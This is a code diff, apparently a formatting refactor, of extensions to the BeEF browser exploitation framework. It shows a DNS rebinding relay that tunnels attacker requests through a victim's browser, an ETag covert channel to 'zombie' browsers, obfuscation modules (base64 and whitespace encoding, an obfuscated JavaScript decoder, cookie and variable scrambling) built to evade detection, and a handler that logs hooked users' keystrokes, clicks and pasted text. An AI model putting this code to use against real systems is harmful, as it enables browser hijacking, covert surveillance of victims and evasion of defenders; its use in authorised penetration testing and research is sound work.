||||
value = c[/(.+): (.+)/, 2]
|
||||
message['headers'][name] = value.chomp
|
||||
c = socket.gets
|
||||
while c != "\r\n" do
|
||||
name = c[/(.+): (.+)/, 1]
|
||||
value = c[/(.+): (.+)/, 2]
|
||||
message['headers'][name] = value.chomp
|
||||
c = socket.gets
|
||||
end
|
||||
length = message['headers']['Content-Length']
|
||||
if length
|
||||
#Ruby read() doesn't return while not read all <length> byte
|
||||
resp = socket.read(length.to_i)
|
||||
message['response'] = resp
|
||||
end
|
||||
return message
|
||||
end
|
||||
length = message['headers']['Content-Length']
|
||||
if length
|
||||
# Ruby read() doesn't return while not read all <length> byte
|
||||
resp = socket.read(length.to_i)
|
||||
message['response'] = resp
|
||||
end
|
||||
message
|
||||
end
|
||||
|
||||
def self.handle_victim(socket, http_message)
|
||||
log "[Victim]request from victim\n"
|
||||
log http_message['start_string'].to_s+"\n"
|
||||
log "[Victim]request from victim\n"
|
||||
log http_message['start_string'].to_s + "\n"
|
||||
|
||||
if http_message['start_string'].include?("POST")
|
||||
#Get result from POST query
|
||||
log "[Victim]Get the result of last query\n"
|
||||
if http_message['start_string'].include?('POST')
|
||||
# Get result from POST query
|
||||
log "[Victim]Get the result of last query\n"
|
||||
|
||||
#Read query on which asked victim
|
||||
query = http_message['start_string'][/path=([^HTTP]+)/,1][0..-2]
|
||||
log "[Victim]asked path: "+query+"\n"
|
||||
# Read query on which asked victim
|
||||
query = http_message['start_string'][/path=([^HTP]+)/, 1][0..-2]
|
||||
log '[Victim]asked path: ' + query + "\n"
|
||||
|
||||
length = http_message['headers']['Content-Length'].to_i
|
||||
content_type = http_message['headers']['Content-Type']
|
||||
log "[Victim]Content-type: "+content_type.to_s+"\n"
|
||||
log "[Vicitm]Length: "+length.to_s+"\n"
|
||||
|
||||
response = http_message['response']
|
||||
log "[Victim]Get content!\n"
|
||||
length = http_message['headers']['Content-Length'].to_i
|
||||
content_type = http_message['headers']['Content-Type']
|
||||
log '[Victim]Content-type: ' + content_type.to_s + "\n"
|
||||
log '[Vicitm]Length: ' + length.to_s + "\n"
|
||||
|
||||
send_http_response(socket, "ok")
|
||||
socket.close
|
||||
response = http_message['response']
|
||||
log "[Victim]Get content!\n"
|
||||
|
||||
log "[Victim]Close connection POST\n"
|
||||
log "--------------------------------\n"
|
||||
send_http_response(socket, 'ok')
|
||||
socket.close
|
||||
|
||||
@mutex_responses.lock
|
||||
@responses[query] = [content_type, response]
|
||||
@mutex_responses.unlock
|
||||
elsif http_message['start_string'].include?("OPTIONS")
|
||||
send_http_response(socket, "")
|
||||
socket.close
|
||||
log "[Victim]Respond on OPTIONS reques\n"
|
||||
log "--------------------------------\n"
|
||||
else
|
||||
#Look for queues from beef owner
|
||||
log "[Victim]Waiting for next query..\n"
|
||||
while @queries.size == 0
|
||||
end
|
||||
|
||||
#Get the last query
|
||||
@mutex_queries.lock
|
||||
log "[Victim]Get the last query\n"
|
||||
last_query = @queries.pop
|
||||
log "[Victim]Last query:"+last_query.to_s+"\n"
|
||||
@mutex_queries.unlock
|
||||
|
||||
response = last_query[2]
|
||||
send_http_response(socket, response, {'method'=>last_query[0], 'path'=>last_query[1]})
|
||||
log "[Victim]Send next query to victim's browser\n"
|
||||
log "---------------------------------------------\n"
|
||||
socket.close
|
||||
end
|
||||
end
|
||||
|
||||
#Handle request from BeEF owner
|
||||
def self.handle_owner(socket, http_message)
|
||||
log "[Owner]Request from owner\n"
|
||||
path = http_message['start_string'][/(\/[^HTTP]+)/, 1][0..-2]
|
||||
|
||||
if http_message['start_string'].include?("GET")
|
||||
if path != nil
|
||||
log "[Owner]Need path: "+path+"\n"
|
||||
@queries.push(['GET', path, ''])
|
||||
end
|
||||
elsif http_message['start_string'].include?("POST")
|
||||
log "[Owner]Get POST request\n"
|
||||
if path != nil
|
||||
@queries.push(['POST', path, http_message['response']])
|
||||
end
|
||||
end
|
||||
|
||||
#Waiting for response, this check should not conflict with thread 2
|
||||
while @responses[path] == nil
|
||||
end
|
||||
log "[Victim]Close connection POST\n"
|
||||
log "--------------------------------\n"
|
||||
|
||||
@mutex_responses.lock
|
||||
log "[Owner]Get the response\n"
|
||||
response_a = @responses[path]
|
||||
@responses[query] = [content_type, response]
|
||||
@mutex_responses.unlock
|
||||
|
||||
response = response_a[1]
|
||||
content_type = response_a[0]
|
||||
|
||||
send_http_response(socket, response, {'Content-Type'=>content_type})
|
||||
|
||||
log "[Owner]Send response to owner\n"
|
||||
log "-------------------------------\n"
|
||||
elsif http_message['start_string'].include?('OPTIONS')
|
||||
send_http_response(socket, '')
|
||||
socket.close
|
||||
log "[Victim]Respond on OPTIONS reques\n"
|
||||
log "--------------------------------\n"
|
||||
else
|
||||
# Look for queues from beef owner
|
||||
log "[Victim]Waiting for next query..\n"
|
||||
while @queries.size == 0
|
||||
end
|
||||
|
||||
# Get the last query
|
||||
@mutex_queries.lock
|
||||
log "[Victim]Get the last query\n"
|
||||
last_query = @queries.pop
|
||||
log '[Victim]Last query:' + last_query.to_s + "\n"
|
||||
@mutex_queries.unlock
|
||||
|
||||
response = last_query[2]
|
||||
send_http_response(socket, response, { 'method' => last_query[0], 'path' => last_query[1] })
|
||||
log "[Victim]Send next query to victim's browser\n"
|
||||
log "---------------------------------------------\n"
|
||||
socket.close
|
||||
end
|
||||
end
|
||||
|
||||
# Handle request from BeEF owner
|
||||
def self.handle_owner(socket, http_message)
|
||||
log "[Owner]Request from owner\n"
|
||||
path = http_message['start_string'][%r{(/[^HTP]+)}, 1][0..-2]
|
||||
|
||||
if http_message['start_string'].include?('GET')
|
||||
unless path.nil?
|
||||
log '[Owner]Need path: ' + path + "\n"
|
||||
@queries.push(['GET', path, ''])
|
||||
end
|
||||
elsif http_message['start_string'].include?('POST')
|
||||
log "[Owner]Get POST request\n"
|
||||
@queries.push(['POST', path, http_message['response']]) unless path.nil?
|
||||
end
|
||||
|
||||
# Waiting for response, this check should not conflict with thread 2
|
||||
while @responses[path].nil?
|
||||
end
|
||||
|
||||
@mutex_responses.lock
|
||||
log "[Owner]Get the response\n"
|
||||
response_a = @responses[path]
|
||||
@mutex_responses.unlock
|
||||
|
||||
response = response_a[1]
|
||||
content_type = response_a[0]
|
||||
|
||||
send_http_response(socket, response, { 'Content-Type' => content_type })
|
||||
|
||||
log "[Owner]Send response to owner\n"
|
||||
log "-------------------------------\n"
|
||||
socket.close
|
||||
end
|
||||
|
||||
def self.run_server(address, port)
|
||||
@server = TCPServer.new(address, port)
|
||||
@mutex_responses = Mutex.new
|
||||
@mutex_queries = Mutex.new
|
||||
@debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode")
|
||||
loop do
|
||||
s = @server.accept
|
||||
Thread.new(s) do |socket|
|
||||
http_message = read_http_message(socket)
|
||||
if http_message['start_string'].include?("from_victim")
|
||||
handle_victim(socket, http_message)
|
||||
else
|
||||
handle_owner(socket, http_message)
|
||||
end
|
||||
end
|
||||
@server = TCPServer.new(address, port)
|
||||
@mutex_responses = Mutex.new
|
||||
@mutex_queries = Mutex.new
|
||||
@debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode')
|
||||
loop do
|
||||
s = @server.accept
|
||||
Thread.new(s) do |socket|
|
||||
http_message = read_http_message(socket)
|
||||
if http_message['start_string'].include?('from_victim')
|
||||
handle_victim(socket, http_message)
|
||||
else
|
||||
handle_owner(socket, http_message)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,16 +1,14 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module DNSRebinding
|
||||
module Extension
|
||||
module DNSRebinding
|
||||
extend BeEF::API::Extension
|
||||
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'DNS Rebinding'
|
||||
@full_name = 'DNS Rebinding'
|
||||
@description = 'DNS Rebinding extension'
|
||||
|
||||
end
|
||||
end
|
||||
@short_name = 'DNS Rebinding'
|
||||
@full_name = 'DNS Rebinding'
|
||||
@description = 'DNS Rebinding extension'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/dns_rebinding/api.rb'
|
||||
require 'extensions/dns_rebinding/dns_rebinding.rb'
|
||||
require 'extensions/dns_rebinding/api'
|
||||
require 'extensions/dns_rebinding/dns_rebinding'
|
||||
|
||||
@@ -4,25 +4,22 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module ETag
|
||||
module API
|
||||
|
||||
module ETagHandler
|
||||
BeEF::API::Registrar.instance.register(
|
||||
module Extension
|
||||
module ETag
|
||||
module API
|
||||
module ETagHandler
|
||||
BeEF::API::Registrar.instance.register(
|
||||
BeEF::Extension::ETag::API::ETagHandler,
|
||||
BeEF::API::Server,
|
||||
'mount_handler'
|
||||
)
|
||||
)
|
||||
|
||||
def self.mount_handler(beef_server)
|
||||
beef_server.mount('/etag', BeEF::Extension::ETag::ETagWebServer.new!)
|
||||
print_info "ETag Server: /etag"
|
||||
def self.mount_handler(beef_server)
|
||||
beef_server.mount('/etag', BeEF::Extension::ETag::ETagWebServer.new!)
|
||||
print_info 'ETag Server: /etag'
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,60 +4,58 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module ETag
|
||||
module Extension
|
||||
module ETag
|
||||
require 'sinatra/base'
|
||||
require 'singleton'
|
||||
|
||||
require 'sinatra/base'
|
||||
require 'singleton'
|
||||
|
||||
class ETagMessages
|
||||
class ETagMessages
|
||||
include Singleton
|
||||
attr_accessor :messages
|
||||
|
||||
def initialize()
|
||||
@messages={}
|
||||
|
||||
def initialize
|
||||
@messages = {}
|
||||
end
|
||||
end
|
||||
|
||||
class ETagWebServer < Sinatra::Base
|
||||
end
|
||||
|
||||
class ETagWebServer < Sinatra::Base
|
||||
def create_ET_header
|
||||
inode = File.stat(__FILE__).ino
|
||||
size = 3
|
||||
mtime = (Time.now.to_f * 1000000).to_i
|
||||
return "#{inode.to_s(16)}L-#{size.to_s(16)}L-#{mtime.to_s(16)}L"
|
||||
inode = File.stat(__FILE__).ino
|
||||
size = 3
|
||||
mtime = (Time.now.to_f * 1_000_000).to_i
|
||||
"#{inode.to_s(16)}L-#{size.to_s(16)}L-#{mtime.to_s(16)}L"
|
||||
end
|
||||
|
||||
get '/:id/start' do
|
||||
data = ETagMessages.instance.messages[params[:id].to_i]
|
||||
|
||||
$etag_server_state = {} unless defined?($etag_server_state)
|
||||
$etag_server_state[params[:id]] = {}
|
||||
$etag_server_state[params[:id]][:cur_bit] = -1
|
||||
$etag_server_state[params[:id]][:last_header] = create_ET_header
|
||||
$etag_server_state[params[:id]][:message] = data
|
||||
|
||||
headers "ETag" => $etag_server_state[params[:id]][:last_header]
|
||||
body "Message start"
|
||||
data = ETagMessages.instance.messages[params[:id].to_i]
|
||||
|
||||
$etag_server_state = {} unless defined?($etag_server_state)
|
||||
$etag_server_state[params[:id]] = {}
|
||||
$etag_server_state[params[:id]][:cur_bit] = -1
|
||||
$etag_server_state[params[:id]][:last_header] = create_ET_header
|
||||
$etag_server_state[params[:id]][:message] = data
|
||||
|
||||
headers 'ETag' => $etag_server_state[params[:id]][:last_header]
|
||||
body 'Message start'
|
||||
end
|
||||
|
||||
get '/:id' do
|
||||
return "Not started yet" if !defined?($etag_server_state) || $etag_server_state[params[:id]].nil?
|
||||
if $etag_server_state[params[:id]][:cur_bit] < $etag_server_state[params[:id]][:message].length - 1
|
||||
$etag_server_state[params[:id]][:cur_bit] += 1
|
||||
else
|
||||
$etag_server_state.delete(params[:id])
|
||||
status 404
|
||||
return "Bing"
|
||||
end
|
||||
|
||||
if $etag_server_state[params[:id]][:message][$etag_server_state[params[:id]][:cur_bit]] == '1'
|
||||
$etag_server_state[params[:id]][:last_header] = create_ET_header
|
||||
end
|
||||
get '/:id' do
|
||||
return 'Not started yet' if !defined?($etag_server_state) || $etag_server_state[params[:id]].nil?
|
||||
|
||||
headers "ETag" => $etag_server_state[params[:id]][:last_header]
|
||||
body "Bit"
|
||||
if $etag_server_state[params[:id]][:cur_bit] < $etag_server_state[params[:id]][:message].length - 1
|
||||
$etag_server_state[params[:id]][:cur_bit] += 1
|
||||
else
|
||||
$etag_server_state.delete(params[:id])
|
||||
status 404
|
||||
return 'Bing'
|
||||
end
|
||||
|
||||
$etag_server_state[params[:id]][:last_header] = create_ET_header if $etag_server_state[params[:id]][:message][$etag_server_state[params[:id]][:cur_bit]] == '1'
|
||||
|
||||
headers 'ETag' => $etag_server_state[params[:id]][:last_header]
|
||||
body 'Bit'
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,20 +4,18 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module ETag
|
||||
module Extension
|
||||
module ETag
|
||||
extend BeEF::API::Extension
|
||||
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'ETag'
|
||||
@full_name = 'Server-to-Client ETag-based Covert Timing Channel'
|
||||
@description = 'This extension provides a custom BeEF\'s HTTP server ' +
|
||||
'that implement unidirectional covert timing channel from ' +
|
||||
'BeEF communication server to zombie browser over Etag header'
|
||||
|
||||
end
|
||||
end
|
||||
@short_name = 'ETag'
|
||||
@full_name = 'Server-to-Client ETag-based Covert Timing Channel'
|
||||
@description = 'This extension provides a custom BeEF HTTP server ' \
|
||||
'that implements unidirectional covert timing channel from ' \
|
||||
'BeEF communication server to zombie browser over Etag header.'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/etag/api.rb'
|
||||
require 'extensions/etag/etag.rb'
|
||||
require 'extensions/etag/api'
|
||||
require 'extensions/etag/etag'
|
||||
|
||||
@@ -14,6 +14,7 @@ module BeEF
|
||||
|
||||
def initialize
|
||||
return unless @@enabled
|
||||
|
||||
@techniques ||= load_techniques
|
||||
|
||||
if @techniques.empty?
|
||||
@@ -40,7 +41,7 @@ module BeEF
|
||||
end
|
||||
|
||||
chain
|
||||
rescue => e
|
||||
rescue StandardError => e
|
||||
print_error "[Evasion] Failed to load obfuscation technique chain: #{e.message}"
|
||||
[]
|
||||
end
|
||||
@@ -52,7 +53,7 @@ module BeEF
|
||||
|
||||
def add_bootstrapper
|
||||
bootstrap = ''
|
||||
# add stuff at the end, only once (when serving the initial init javascript)
|
||||
# add stuff at the end, only once (when serving the initial init javascript)
|
||||
@techniques.each do |technique|
|
||||
# Call the "execute" method of the technique module, passing the input and update
|
||||
# the input in preperation for the next technique in the chain
|
||||
@@ -64,7 +65,7 @@ module BeEF
|
||||
end
|
||||
|
||||
bootstrap
|
||||
rescue => e
|
||||
rescue StandardError => e
|
||||
print_error "[Evasion] Failed to bootstrap obfuscation technique: #{e.message}"
|
||||
print_error e.backtrace
|
||||
end
|
||||
@@ -81,7 +82,7 @@ module BeEF
|
||||
|
||||
print_debug "[Evasion] Obfuscation completed (#{output.length} bytes)"
|
||||
output
|
||||
rescue => e
|
||||
rescue StandardError => e
|
||||
print_error "[Evasion] Failed to apply obfuscation technique: #{e.message}"
|
||||
print_error e.backtrace
|
||||
end
|
||||
@@ -89,4 +90,3 @@ module BeEF
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -4,19 +4,19 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Evasion
|
||||
extend BeEF::API::Extension
|
||||
module Extension
|
||||
module Evasion
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'evasion'
|
||||
@full_name = 'Evasion'
|
||||
@description = 'Contains Evasion and Obfuscation techniques to prevent the likelihood that BeEF will be detected'
|
||||
end
|
||||
end
|
||||
@short_name = 'evasion'
|
||||
@full_name = 'Evasion'
|
||||
@description = 'Contains Evasion and Obfuscation techniques to prevent the likelihood that BeEF will be detected'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/evasion/evasion'
|
||||
#require 'extensions/evasion/obfuscation/scramble'
|
||||
# require 'extensions/evasion/obfuscation/scramble'
|
||||
require 'extensions/evasion/obfuscation/minify'
|
||||
require 'extensions/evasion/obfuscation/base_64'
|
||||
require 'extensions/evasion/obfuscation/whitespace'
|
||||
|
||||
@@ -19,16 +19,15 @@ module BeEF
|
||||
'var _0x33db=["\x61\x74\x6F\x62","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68","\x6A\x6F\x69\x6E"];function dec(_0x487fx2){if(window[_0x33db[0]]){return atob(_0x487fx2);} ;var _0x487fx3=_0x33db[1];var _0x487fx4,_0x487fx5,_0x487fx6,_0x487fx7,_0x487fx8,_0x487fx9,_0x487fxa,_0x487fxb,_0x487fxc=0,_0x487fxd=0,dec=_0x33db[2],_0x487fxe=[];if(!_0x487fx2){return _0x487fx2;} ;_0x487fx2+=_0x33db[2];do{_0x487fx7=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx8=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx9=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxa=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxb=_0x487fx7<<18|_0x487fx8<<12|_0x487fx9<<6|_0x487fxa;_0x487fx4=_0x487fxb>>16&0xff;_0x487fx5=_0x487fxb>>8&0xff;_0x487fx6=_0x487fxb&0xff;if(_0x487fx9==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4);} else {if(_0x487fxa==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5);} else {_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5,_0x487fx6);} ;} ;} while(_0x487fxc<_0x487fx2[_0x33db[6]]);;dec=_0x487fxe[_0x33db[7]](_0x33db[2]);return dec;};'
|
||||
end
|
||||
|
||||
def execute(input, config)
|
||||
def execute(input, _config)
|
||||
encoded = Base64.strict_encode64(input)
|
||||
# basically, use atob if supported otherwise a normal base64 JS implementation (ie.: IE :-)
|
||||
var_name = BeEF::Core::Crypto::random_alphanum_string(3)
|
||||
var_name = BeEF::Core::Crypto.random_alphanum_string(3)
|
||||
input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(dec(#{var_name}))();"
|
||||
print_debug "[OBFUSCATION - Base64] Javascript has been base64 encoded"
|
||||
print_debug '[OBFUSCATION - Base64] Javascript has been base64 encoded'
|
||||
input
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -16,10 +16,10 @@ module BeEF
|
||||
|
||||
def execute(input, config)
|
||||
opts = {
|
||||
:output => {
|
||||
output: {
|
||||
comments: :none
|
||||
},
|
||||
:compress => {
|
||||
compress: {
|
||||
# show warnings in debug mode
|
||||
warnings: (config.get('beef.debug') ? true : false),
|
||||
# remove dead code
|
||||
@@ -31,9 +31,9 @@ module BeEF
|
||||
}
|
||||
}
|
||||
output = Uglifier.compile(input, opts)
|
||||
print_debug "[OBFUSCATION - Minifier] JavaScript has been minified"
|
||||
print_debug '[OBFUSCATION - Minifier] JavaScript has been minified'
|
||||
output
|
||||
rescue => e
|
||||
rescue StandardError => e
|
||||
print_error "[OBFUSCATION - Minifier] JavaScript couldn't be minified: #{e.messsage}"
|
||||
input
|
||||
end
|
||||
@@ -41,4 +41,3 @@ module BeEF
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -18,29 +18,29 @@ module BeEF
|
||||
|
||||
to_scramble = config.get('beef.extension.evasion.scramble')
|
||||
to_scramble.each do |var, value|
|
||||
if var == value
|
||||
# Variables have not been scrambled yet
|
||||
mod_var = BeEF::Core::Crypto::random_alphanum_string(3)
|
||||
@output.gsub!(var,mod_var)
|
||||
config.set("beef.extension.evasion.scramble.#{var}",mod_var)
|
||||
print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{mod_var}]"
|
||||
else
|
||||
# Variables already scrambled, re-use the one already created to maintain consistency
|
||||
@output.gsub!(var,value)
|
||||
print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{value}]"
|
||||
end
|
||||
@output
|
||||
if var == value
|
||||
# Variables have not been scrambled yet
|
||||
mod_var = BeEF::Core::Crypto.random_alphanum_string(3)
|
||||
@output.gsub!(var, mod_var)
|
||||
config.set("beef.extension.evasion.scramble.#{var}", mod_var)
|
||||
print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{mod_var}]"
|
||||
else
|
||||
# Variables already scrambled, re-use the one already created to maintain consistency
|
||||
@output.gsub!(var, value)
|
||||
print_debug "[OBFUSCATION - SCRAMBLER] string [#{var}] scrambled -> [#{value}]"
|
||||
end
|
||||
@output
|
||||
end
|
||||
|
||||
if config.get('beef.extension.evasion.scramble_cookies')
|
||||
# ideally this should not be static, but it's static in JS code, so fine for nowend
|
||||
mod_cookie = BeEF::Core::Crypto::random_alphanum_string(5)
|
||||
if config.get('beef.http.hook_session_name') == "BEEFHOOK"
|
||||
@output.gsub!("BEEFHOOK",mod_cookie)
|
||||
config.set('beef.http.hook_session_name',mod_cookie)
|
||||
mod_cookie = BeEF::Core::Crypto.random_alphanum_string(5)
|
||||
if config.get('beef.http.hook_session_name') == 'BEEFHOOK'
|
||||
@output.gsub!('BEEFHOOK', mod_cookie)
|
||||
config.set('beef.http.hook_session_name', mod_cookie)
|
||||
print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{mod_cookie}]"
|
||||
else
|
||||
@output.gsub!("BEEFHOOK",config.get('beef.http.hook_session_name'))
|
||||
@output.gsub!('BEEFHOOK', config.get('beef.http.hook_session_name'))
|
||||
print_debug "[OBFUSCATION - SCRAMBLER] cookie [BEEFHOOK] scrambled -> [#{config.get('beef.http.hook_session_name')}]"
|
||||
end
|
||||
end
|
||||
@@ -51,4 +51,3 @@ module BeEF
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -12,11 +12,10 @@ module BeEF
|
||||
def need_bootstrap?
|
||||
true
|
||||
end
|
||||
|
||||
|
||||
def get_bootstrap
|
||||
# the decode function is in plain text - called IE-spacer - because trolling is always a good idea
|
||||
decode_function =
|
||||
"//Dirty IE6 whitespace bug hack
|
||||
"//Dirty IE6 whitespace bug hack
|
||||
if (typeof IE_spacer === 'function') {} else {
|
||||
function IE_spacer(css_space) {
|
||||
var spacer = '';
|
||||
@@ -39,19 +38,18 @@ function IE_spacer(css_space) {
|
||||
}}"
|
||||
end
|
||||
|
||||
def execute(input, config)
|
||||
def execute(input, _config)
|
||||
size = input.length
|
||||
encoded = encode(input)
|
||||
var_name = BeEF::Core::Crypto::random_alphanum_string(3)
|
||||
var_name = BeEF::Core::Crypto.random_alphanum_string(3)
|
||||
input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(IE_spacer(#{var_name}))();"
|
||||
print_debug "[OBFUSCATION - WHITESPACE] #{size} bytes of Javascript code has been Whitespaced"
|
||||
input
|
||||
end
|
||||
|
||||
def encode(input)
|
||||
output = input.unpack('B*')
|
||||
output = output.to_s.gsub(/[\["01\]]/, '[' => '', '"' => '', ']' => '', '0' => "\t", '1' => ' ')
|
||||
output
|
||||
def encode(input)
|
||||
output = input.unpack('B*')
|
||||
output.to_s.gsub(/[\["01\]]/, '[' => '', '"' => '', ']' => '', '0' => "\t", '1' => ' ')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,33 +4,28 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Events
|
||||
module Extension
|
||||
module Events
|
||||
module PostLoad
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::PostLoad, BeEF::API::Extensions, 'post_load')
|
||||
|
||||
module PostLoad
|
||||
def self.post_load
|
||||
print_error 'Event Logger extension is not compatible with WebSockets command and control channel' if BeEF::Core::Configuration.instance.get('beef.http.websocket.enable')
|
||||
end
|
||||
end
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::PostLoad, BeEF::API::Extensions, 'post_load')
|
||||
module RegisterHttpHandler
|
||||
# Register API calls
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
def self.post_load
|
||||
if BeEF::Core::Configuration.instance.get("beef.http.websocket.enable")
|
||||
print_error 'Event Logger extension is not compatible with WebSockets command and control channel'
|
||||
#
|
||||
# Mounts the http handlers for the events extension. We use that to retrieve stuff
|
||||
# like keystroke, mouse clicks and form submission.
|
||||
#
|
||||
def self.mount_handler(beef_server)
|
||||
beef_server.mount('/event', BeEF::Extension::Events::Handler)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
module RegisterHttpHandler
|
||||
|
||||
# Register API calls
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Events::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
#
|
||||
# Mounts the http handlers for the events extension. We use that to retrieve stuff
|
||||
# like keystroke, mouse clicks and form submission.
|
||||
#
|
||||
def self.mount_handler(beef_server)
|
||||
beef_server.mount('/event', BeEF::Extension::Events::Handler)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,19 +4,17 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Events
|
||||
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'events_logger'
|
||||
|
||||
@full_name = 'events logger'
|
||||
|
||||
@description = 'registers mouse clicks, keystrokes, form submissions'
|
||||
|
||||
end
|
||||
end
|
||||
module Extension
|
||||
module Events
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'events_logger'
|
||||
|
||||
@full_name = 'events logger'
|
||||
|
||||
@description = 'registers mouse clicks, keystrokes, form submissions'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/events/handler'
|
||||
|
||||
@@ -4,85 +4,80 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Events
|
||||
|
||||
#
|
||||
# The http handler that manages the Events.
|
||||
#
|
||||
class Handler
|
||||
module Extension
|
||||
module Events
|
||||
#
|
||||
# The http handler that manages the Events.
|
||||
#
|
||||
class Handler
|
||||
Z = BeEF::Core::Models::HookedBrowser
|
||||
|
||||
Z = BeEF::Core::Models::HookedBrowser
|
||||
|
||||
def initialize(data)
|
||||
@data = data
|
||||
setup()
|
||||
end
|
||||
|
||||
#
|
||||
# Sets up event logging
|
||||
#
|
||||
def setup()
|
||||
|
||||
# validates the hook token
|
||||
beef_hook = @data['beefhook'] || nil
|
||||
if beef_hook.nil?
|
||||
print_error "[EVENTS] beef_hook is null"
|
||||
return
|
||||
end
|
||||
|
||||
# validates that a hooked browser with the beef_hook token exists in the db
|
||||
zombie = Z.where(:session => beef_hook).first || nil
|
||||
if zombie.nil?
|
||||
print_error "[EVENTS] Invalid beef hook id: the hooked browser cannot be found in the database"
|
||||
return
|
||||
end
|
||||
|
||||
events = @data['results']
|
||||
|
||||
# push events to logger
|
||||
logger = BeEF::Core::Logger.instance
|
||||
events.each do |value|
|
||||
logger.register('Event', parse(value), zombie.id)
|
||||
def initialize(data)
|
||||
@data = data
|
||||
setup
|
||||
end
|
||||
end
|
||||
|
||||
def parse(event)
|
||||
case event['type']
|
||||
when 'click'
|
||||
result = "#{event['time']}s - [Mouse Click] x: #{event['x']} y:#{event['y']} > #{event['target']}"
|
||||
when 'focus'
|
||||
result = "#{event['time']}s - [Focus] Browser window has regained focus."
|
||||
when 'copy'
|
||||
result = "#{event['time']}s - [User Copied Text] \"#{event['data']}\""
|
||||
when 'cut'
|
||||
result = "#{event['time']}s - [User Cut Text] \"#{event['data']}\""
|
||||
when 'paste'
|
||||
result = "#{event['time']}s - [User Pasted Text] \"#{event['data']}\""
|
||||
when 'blur'
|
||||
result = "#{event['time']}s - [Blur] Browser window has lost focus."
|
||||
when 'console'
|
||||
result = "#{event['time']}s - [Console] #{event['data']}"
|
||||
when 'keys'
|
||||
print_debug "+++++++++++++++++ Key mods: #{event['mods']}"
|
||||
print_debug "EventData: #{event['data']}"
|
||||
if event['mods'].size > 0
|
||||
print_debug "Event has mods"
|
||||
result = "#{event['time']}s - [User Typed] #{event['data']} - (Mods debug) #{event['mods']}"
|
||||
else
|
||||
result = "#{event['time']}s - [User Typed] #{event['data']}"
|
||||
#
|
||||
